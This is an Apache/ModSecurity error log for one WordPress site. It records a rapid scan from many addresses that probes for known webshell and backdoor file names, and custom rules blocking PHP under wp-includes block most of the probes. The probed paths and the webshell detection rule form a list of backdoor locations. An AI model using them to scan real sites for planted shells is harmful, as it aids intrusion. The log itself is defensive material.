[Thu Apr 09 05:50:03.586624 2026] [:error] [pid 20641:tid 20664] [client 89.251.0.79:34291] [client 89.251.0.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "adbNi23LksBSF-6rlkZrRgAAANM"]
[Thu Apr 09 05:50:04.414624 2026] [:error] [pid 20535:tid 20544] [client 89.251.0.102:51865] [client 89.251.0.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "adbNjAWiD9hWnEUHWdMhuAAAAAA"]
[Thu Apr 09 05:50:05.395475 2026] [:error] [pid 22627:tid 22642] [client 89.251.0.105:56293] [client 89.251.0.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "adbNjfr8glsF_jKQpr76nwAAAQw"]
[Thu Apr 09 05:50:05.986082 2026] [:error] [pid 22627:tid 22632] [client 89.251.0.82:25211] [client 89.251.0.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "adbNjfr8glsF_jKQpr76owAAAQI"]
[Thu Apr 09 05:50:06.570598 2026] [:error] [pid 20537:tid 20606] [client 89.251.0.85:33883] [client 89.251.0.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "adbNjsSTjpSeyrxLmN4TSQAAAIg"]
[Thu Apr 09 05:50:07.659589 2026] [:error] [pid 20537:tid 20609] [client 89.251.0.90:34065] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Thu Apr 09 05:50:07.944635 2026] [:error] [pid 20537:tid 20608] [client 89.251.0.90:34065] [client 89.251.0.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "adbNj8STjpSeyrxLmN4TUwAAAIo"]
[Thu Apr 09 05:50:08.495020 2026] [:error] [pid 20537:tid 20620] [client 89.251.0.90:56349] [client 89.251.0.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "adbNkMSTjpSeyrxLmN4TVAAAAJY"]
[Thu Apr 09 05:50:09.063283 2026] [:error] [pid 22627:tid 22644] [client 89.251.0.83:51789] [client 89.251.0.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "adbNkfr8glsF_jKQpr76rQAAAQ4"]
[Thu Apr 09 05:50:10.218374 2026] [:error] [pid 20641:tid 20661] [client 89.251.0.83:44821] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Thu Apr 09 05:50:10.775754 2026] [:error] [pid 20641:tid 20654] [client 89.251.0.83:44821] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Thu Apr 09 05:50:11.859574 2026] [:error] [pid 20641:tid 20664] [client 89.251.0.83:44821] [client 89.251.0.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "adbNk23LksBSF-6rlkZrYwAAANM"]
[Thu Apr 09 05:50:13.280730 2026] [:error] [pid 20535:tid 20555] [client 89.251.0.97:55333] [client 89.251.0.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.97, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "adbNlQWiD9hWnEUHWdMh1wAAAAs"]
[Thu Apr 09 05:50:13.550502 2026] [:error] [pid 20535:tid 20549] [client 89.251.0.97:55333] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Thu Apr 09 05:50:14.940830 2026] [:error] [pid 20535:tid 20567] [client 89.251.0.97:55333] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Thu Apr 09 05:50:15.195271 2026] [:error] [pid 20535:tid 20544] [client 89.251.0.97:55333] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Thu Apr 09 05:50:16.964030 2026] [:error] [pid 20535:tid 20565] [client 89.251.0.97:55333] [client 89.251.0.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "adbNmAWiD9hWnEUHWdMh6wAAABU"]
[Thu Apr 09 05:50:17.767123 2026] [:error] [pid 20641:tid 20661] [client 89.251.0.76:60731] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Thu Apr 09 05:50:18.024743 2026] [:error] [pid 20641:tid 20645] [client 89.251.0.76:60731] [client 89.251.0.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.76, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "adbNmm3LksBSF-6rlkZrdAAAAMA"]
[Thu Apr 09 05:50:18.564611 2026] [:error] [pid 20641:tid 20660] [client 89.251.0.76:60731] [client 89.251.0.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "adbNmm3LksBSF-6rlkZrdwAAAM8"]
[Thu Apr 09 05:50:20.766450 2026] [:error] [pid 22627:tid 22651] [client 89.251.0.105:27265] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Thu Apr 09 05:50:21.300633 2026] [:error] [pid 22627:tid 22646] [client 89.251.0.105:27265] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_wlx.php
[Thu Apr 09 05:50:21.841343 2026] [:error] [pid 22627:tid 22639] [client 89.251.0.105:27265] [client 89.251.0.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "adbNnfr8glsF_jKQpr762AAAAQk"]
[Thu Apr 09 05:50:22.377934 2026] [:error] [pid 20641:tid 20657] [client 89.251.0.86:38609] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Thu Apr 09 05:50:24.532911 2026] [:error] [pid 20641:tid 20658] [client 89.251.0.86:38609] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Thu Apr 09 05:50:26.287566 2026] [:error] [pid 20641:tid 20659] [client 89.251.0.86:38609] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Thu Apr 09 05:50:26.824032 2026] [:error] [pid 20641:tid 20662] [client 89.251.0.86:38609] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Thu Apr 09 05:50:27.089668 2026] [:error] [pid 20641:tid 20666] [client 89.251.0.86:38609] [client 89.251.0.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "adbNo23LksBSF-6rlkZriAAAANU"]
[Thu Apr 09 05:50:27.652869 2026] [:error] [pid 20641:tid 20657] [client 89.251.0.89:39871] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Thu Apr 09 05:50:27.937759 2026] [:error] [pid 20641:tid 20652] [client 89.251.0.89:39871] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Thu Apr 09 05:50:28.231812 2026] [:error] [pid 20641:tid 20664] [client 89.251.0.89:39871] [client 89.251.0.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/classwithtostring.php"] [unique_id "adbNpG3LksBSF-6rlkZrjgAAANM"]
[Thu Apr 09 05:50:29.054668 2026] [:error] [pid 20641:tid 20645] [client 89.251.0.108:30075] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php
[Thu Apr 09 05:50:29.591176 2026] [:error] [pid 20641:tid 20648] [client 89.251.0.108:30075] [client 89.251.0.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.108, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "adbNpW3LksBSF-6rlkZrlQAAAMM"]
[Thu Apr 09 05:50:29.855448 2026] [:error] [pid 20641:tid 20662] [client 89.251.0.108:30075] [client 89.251.0.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/endpoints/index.php"] [unique_id "adbNpW3LksBSF-6rlkZrlgAAANE"]
[Thu Apr 09 05:50:33.491896 2026] [:error] [pid 22627:tid 22644] [client 89.251.0.98:29749] File does not exist: /usr/local/apache/htdocs/suspended-page/web.php
[Thu Apr 09 05:50:35.134291 2026] [:error] [pid 22627:tid 22639] [client 89.251.0.98:29749] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Thu Apr 09 05:50:35.416063 2026] [:error] [pid 22627:tid 22653] [client 89.251.0.98:29749] [client 89.251.0.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/bypass.php"] [unique_id "adbNq_r8glsF_jKQpr77FQAAARc"]
[Thu Apr 09 05:50:35.951846 2026] [:error] [pid 20536:tid 20593] [client 89.251.0.85:29911] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php
[Thu Apr 09 05:50:36.773996 2026] [:error] [pid 20536:tid 20591] [client 89.251.0.85:29911] [client 89.251.0.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 89.251.0.85, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/midnight/wp-login.php"] [unique_id "adbNrMPqyUJM1s3YpIYhKQAAAFQ"]
[Thu Apr 09 05:50:37.036307 2026] [:error] [pid 20536:tid 20595] [client 89.251.0.85:29911] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Thu Apr 09 05:50:37.303864 2026] [:error] [pid 20536:tid 20592] [client 89.251.0.85:29911] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Thu Apr 09 05:50:37.566757 2026] [:error] [pid 20536:tid 20577] [client 89.251.0.85:29911] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-themes.php
[Thu Apr 09 05:50:37.833275 2026] [:error] [pid 20536:tid 20589] [client 89.251.0.85:29911] [client 89.251.0.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "adbNrcPqyUJM1s3YpIYhLwAAAFI"]
[Thu Apr 09 05:50:38.333326 2026] [:error] [pid 20641:tid 20668] [client 89.251.0.104:38049] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Thu Apr 09 05:50:38.613786 2026] [:error] [pid 20641:tid 20650] [client 89.251.0.104:38049] [client 89.251.0.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/infi.php"] [unique_id "adbNrm3LksBSF-6rlkZrpQAAAMU"]
[Thu Apr 09 05:50:39.394525 2026] [:error] [pid 22627:tid 22651] [client 89.251.0.85:53111] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Thu Apr 09 05:50:39.646333 2026] [:error] [pid 22627:tid 22650] [client 89.251.0.85:53111] [client 89.251.0.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "adbNr_r8glsF_jKQpr77SQAAARQ"]
[Thu Apr 09 05:50:40.974653 2026] [:error] [pid 22627:tid 22650] [client 89.251.0.89:58761] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Thu Apr 09 05:50:41.259051 2026] [:error] [pid 22627:tid 22640] [client 89.251.0.89:58761] [client 89.251.0.89] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "adbNsfr8glsF_jKQpr77cwAAAQo"]
[Thu Apr 09 05:50:41.766083 2026] [:error] [pid 22627:tid 22634] [client 89.251.0.100:29719] [client 89.251.0.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "adbNsfr8glsF_jKQpr77dwAAAQQ"]
[Thu Apr 09 05:50:42.301559 2026] [:error] [pid 20641:tid 20645] [client 89.251.0.85:49581] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Thu Apr 09 05:50:42.579598 2026] [:error] [pid 20641:tid 20668] [client 89.251.0.85:49581] File does not exist: /usr/local/apache/htdocs/suspended-page/special.php
[Thu Apr 09 05:50:43.687850 2026] [:error] [pid 20641:tid 20656] [client 89.251.0.85:49581] [client 89.251.0.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "adbNs23LksBSF-6rlkZrsQAAAMs"]
[Thu Apr 09 05:50:44.497488 2026] [:error] [pid 22627:tid 22634] [client 89.251.0.98:35865] [client 89.251.0.98] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "adbNtPr8glsF_jKQpr77fgAAAQQ"]
[Thu Apr 09 05:50:45.788373 2026] [:error] [pid 20536:tid 20589] [client 89.251.0.92:55415] [client 89.251.0.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/edit.php"] [unique_id "adbNtcPqyUJM1s3YpIYhOQAAAFI"]
[Thu Apr 09 05:50:46.312175 2026] [:error] [pid 22627:tid 22637] [client 89.251.0.102:33055] File does not exist: /usr/local/apache/htdocs/suspended-page/webdb.php
[Thu Apr 09 05:50:46.828202 2026] [:error] [pid 22627:tid 22645] [client 89.251.0.102:33055] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Thu Apr 09 05:50:47.087747 2026] [:error] [pid 22627:tid 22647] [client 89.251.0.102:33055] [client 89.251.0.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "adbNt_r8glsF_jKQpr77iAAAARE"]
[Thu Apr 09 05:50:47.625431 2026] [:error] [pid 20535:tid 20566] [client 89.251.0.76:48975] File does not exist: /usr/local/apache/htdocs/suspended-page/alfa.php
[Thu Apr 09 05:50:48.413739 2026] [:error] [pid 20535:tid 20563] [client 89.251.0.76:48975] [client 89.251.0.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/click.php"] [unique_id "adbNuAWiD9hWnEUHWdMiNAAAABM"]
[Thu Apr 09 05:50:49.729878 2026] [:error] [pid 20536:tid 20588] [client 89.251.0.84:52421] [client 89.251.0.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "adbNucPqyUJM1s3YpIYhPgAAAFE"]
[Thu Apr 09 05:50:50.525658 2026] [:error] [pid 22627:tid 22652] [client 89.251.0.95:54725] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Thu Apr 09 05:50:51.333343 2026] [:error] [pid 22627:tid 22650] [client 89.251.0.95:54725] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links-opml.php
[Thu Apr 09 05:50:51.872365 2026] [:error] [pid 22627:tid 22638] [client 89.251.0.95:54725] File does not exist: /usr/local/apache/htdocs/suspended-page/atomlib.php
[Thu Apr 09 05:50:52.142868 2026] [:error] [pid 22627:tid 22646] [client 89.251.0.95:54725] [client 89.251.0.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "adbNvPr8glsF_jKQpr77nAAAARA"]
[Thu Apr 09 05:50:54.202969 2026] [:error] [pid 20537:tid 20619] [client 89.251.0.101:39301] [client 89.251.0.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "adbNvsSTjpSeyrxLmN4TjQAAAJU"]
[Thu Apr 09 05:50:54.734806 2026] [:error] [pid 20535:tid 20551] [client 89.251.0.79:42085] [client 89.251.0.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "adbNvgWiD9hWnEUHWdMiPQAAAAc"]
[Thu Apr 09 05:50:55.271036 2026] [:error] [pid 20537:tid 20611] [client 89.251.0.83:25633] [client 89.251.0.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "adbNv8STjpSeyrxLmN4TjwAAAI0"]
[Thu Apr 09 05:50:55.796691 2026] [:error] [pid 20537:tid 20621] [client 89.251.0.96:44625] File does not exist: /usr/local/apache/htdocs/suspended-page/xp.php
[Thu Apr 09 05:50:56.048888 2026] [:error] [pid 20537:tid 20605] [client 89.251.0.96:44625] [client 89.251.0.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "adbNwMSTjpSeyrxLmN4TlAAAAIc"]
[Thu Apr 09 05:50:56.600348 2026] [:error] [pid 22627:tid 22649] [client 89.251.0.97:41565] [client 89.251.0.97] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "adbNwPr8glsF_jKQpr77qAAAARM"]
[Thu Apr 09 05:50:58.761950 2026] [:error] [pid 20537:tid 20602] [client 89.251.0.79:59697] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Thu Apr 09 05:50:59.274918 2026] [:error] [pid 20537:tid 20604] [client 89.251.0.79:59697] [client 89.251.0.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adbNw8STjpSeyrxLmN4TnAAAAIY"]
[Thu Apr 09 05:50:59.784129 2026] [:error] [pid 22627:tid 22640] [client 89.251.0.93:65509] [client 89.251.0.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "adbNw_r8glsF_jKQpr77sQAAAQo"]
[Thu Apr 09 05:51:00.289673 2026] [:error] [pid 22627:tid 22649] [client 2.57.169.3:41063] [client 2.57.169.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "adbNxPr8glsF_jKQpr77swAAARM"]
[Thu Apr 09 05:51:00.837156 2026] [:error] [pid 20641:tid 20654] [client 89.251.0.108:49733] [client 89.251.0.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "adbNxG3LksBSF-6rlkZrzQAAAMk"]
[Thu Apr 09 05:51:01.633574 2026] [:error] [pid 20537:tid 20607] [client 89.251.0.107:54301] [client 89.251.0.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "adbNxcSTjpSeyrxLmN4TpgAAAIk"]
